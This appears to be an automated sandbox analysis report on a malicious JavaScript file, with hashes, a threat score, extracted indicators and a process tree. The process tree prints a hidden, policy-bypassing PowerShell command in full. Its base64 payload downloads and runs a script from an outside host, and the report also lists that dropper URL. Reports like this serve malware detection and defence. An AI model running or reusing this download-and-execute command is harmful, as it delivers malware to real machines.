Analysis

  • max time kernel
    98s
  • max time network
    131s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    29-12-2023 19:29

General

  • Target

    01bffa3a1964ccd49cf6e37a6eae8a2a.js

  • Size

    78KB

  • MD5

    01bffa3a1964ccd49cf6e37a6eae8a2a

  • SHA1

    16b09bff0d4adce35ad304badb6e512344e8aa0b

  • SHA256

    2dea58a65174ab0f7cd578bb9fe79316619824252b7a118ba3fb9f151d246ea2

  • SHA512

    99379fc76b5092517793539d198485c0e925cacff710f9cc0c6e2ddfa9514398f26690b118a04b1a286282ba5fa48df573f997738597b9d53dac4f1f7ef294cc

  • SSDEEP

    1536:aeZAKsIcbA9Ry98guHVBqqg2bcruayUHmLKeZaMU7GwbWBPwVGWl9SZ8kV8Gp/5e:hZ8IcbA9Ry98guHVBqqg2bcruzUHmLKH

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://smart-integrator.hr/pornhub.php

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\01bffa3a1964ccd49cf6e37a6eae8a2a.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2584
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2628
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1592

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/1592-5-0x000000001B160000-0x000000001B442000-memory.dmp

    Filesize

    2.9MB

  • memory/1592-6-0x0000000002310000-0x0000000002318000-memory.dmp

    Filesize

    32KB

  • memory/1592-7-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

    Filesize

    9.6MB

  • memory/1592-8-0x0000000002860000-0x00000000028E0000-memory.dmp

    Filesize

    512KB

  • memory/1592-9-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

    Filesize

    9.6MB

  • memory/1592-10-0x0000000002860000-0x00000000028E0000-memory.dmp

    Filesize

    512KB

  • memory/1592-11-0x0000000002860000-0x00000000028E0000-memory.dmp

    Filesize

    512KB

  • memory/1592-12-0x0000000002860000-0x00000000028E0000-memory.dmp

    Filesize

    512KB

  • memory/1592-14-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

    Filesize

    9.6MB